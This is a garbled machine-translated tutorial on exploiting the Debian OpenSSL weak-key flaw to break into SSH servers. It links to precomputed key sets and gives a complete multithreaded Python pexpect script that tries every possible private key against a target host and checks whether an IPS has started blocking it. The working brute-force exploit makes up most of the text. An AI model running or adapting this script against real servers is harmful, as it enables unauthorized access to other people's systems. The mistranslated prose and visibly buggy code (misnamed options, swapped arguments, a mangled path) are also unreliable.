Catalog
One 、 brief introduction
1.1、 summary :
1.2、 utilize :
Two 、 Realization
2.1、 analysis :
2.2、 function :
2.3、 step :
1.1、 summary :
about SSH The server , Password verification is not the only means .
SSH You can also use public key encryption to verify . When using this verification method , The server and the user master the public key and private key respectively . Use RSA or DSA Algorithm , The server can generate for SSH Login key . Because it can generate 1024 position 、2048 position , Even 4096 A key , This authentication process is difficult to be cracked like brute force cracking with weak passwords
1.2、 utilize :
The software automatic analysis tool found a line of code that had been commented out by the developer . This line of commented out code is used to ensure the creation of SSH The amount of information in the key is large enough . After being commented out , The value of the size of the key space is reduced to only 15 Bit size . only 15 Bit entropy means no matter which algorithm and key length , There are only possible keys in total 32767 individual
Rapid Of CSO And the chief architect HD Moore All... Were generated in two hours 1024 Bit and 2048 Possible keys for bit algorithms . And put the results in http://digitaloffense.net/tools/debian-openssl/ in , So that everyone can download and use
It can be downloaded from 1024 Start with all possible keys , And extract these keys , Put the male Delete all keys , Because we only use the private key when testing the connection
Debian OpenSSL Predictable PRNG Toys (hdm.io)https://hdm.io/tools/debian-openssl/ Here are the results that I showed after using Google translate
2.1、 analysis :
Quite a number of servers have vulnerabilities SSH service . Can create a tool to exploit this vulnerability , By accessing the key space , You can write a short Python The script tries violently one by one 32767 A possible key , To log in to a password free , It uses public key encryption algorithm for authentication SSH The server . Or use brute force to crack the login password pexpect library
2.2、 function :
spawn: And then add what needs to be done
expect: It works like a generalized Chat Scripting tools .Chat Scripts were first used for UUCP Within the network , In order to realize the automation of the specific login session when the connection between computers needs to be established .
os.listdir: Used to return a list of files or folder names contained in the specified folder . It does not include . and .. Even if it's in the folder . Only in Unix, Windows Next use
os.path.join: Combine directory and filename into a path (os.path Module is mainly used to get the properties of files , There are many ways to classify , This is one of them )
2.3、 step :
The script for testing weak keys is very similar to our script for brute force password cracking .
Logging in with a key SSH when , We need to type ssh [email protected] -i keyfile -o PasswordAuthentication =no Format of a command . Use the keys of Mr. Shi in the directory one by one , Try connecting . If the connection is successful , We will print the name of the key file on the screen . Two global variables will also be used : Stop and Fails
Fails The function of is to calculate the number of connection failures caused by the remote host closing the connection . If this number is greater than 5, Terminate our script , Scanning triggered remote IPS, Blocked our connection , Then there is no need for us to continue .Stop The global variable is a Boolean value , It can let us know whether we have found a key , If you find it main() Function does not need to start any new connection threads
import pexpect import optparse import os from threading import * maxConnections = 5 connection_lock = BoundedSemaphore(value=maxConnections) Stop = False Fails = 0 def connect(host, user, keyfile, release): global Stop global Fails try: perm_denied = 'Permission denied' ssh_newkey = 'Are you sure you want to continue' conn_closed = 'Connection closed by remote host' opt = ' -o PasswordAuthentication=no' connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$', '#' ]) if ret == 2: print('[-] Adding Host to ! /.ssh/known_hosts') child.sendline('yes') connect( user, host, keyfile, False ) elif ret == 3: print( '[-] Connection Closed By Remote Host' ) Fails += 1 elif ret > 3: print( '[+] Success. ' + str(keyfile)) Stop = True finally: if release: connection_lock.release() def main(): parser = optparse.OptionParser( 'usage %prog ' + '-H <target host> -u <user> -d <directory>' ) parser.add_option( '-H', dest=' tgtHost', type='string', help=' specify target host') parser.add_option( '-d', dest =' passDir', type='string', help='specify directory with keys' ) parser.add_option( '-u', dest='user', type = 'string', help = 'specify the user') (options, args) = parser.parse_args() host = options.tgtHost passDir = options.passDir user = options.user if host == None or passDir == None or user == None: print(parser.usage) exit(0) for filename in os.listdir( passDir ): if Stop: print('[*) Exiting: Key Found.') exit(0) if Fails > 5: print( '[!] Exiting: '+' Too Many Connections Closed By Remote Host.') print( '[!] Adjust number of simultaneous threads' ) exit( 0 ) connection_lock.acquire() fullpath = os.path.join( passDir, filename ) print('[-] Testing keyfile ' + str(fullpath)) t = Thread( target=connect, args=(user, host, fullpath, True) ) child = t.start() if __name__ == '__main__': main()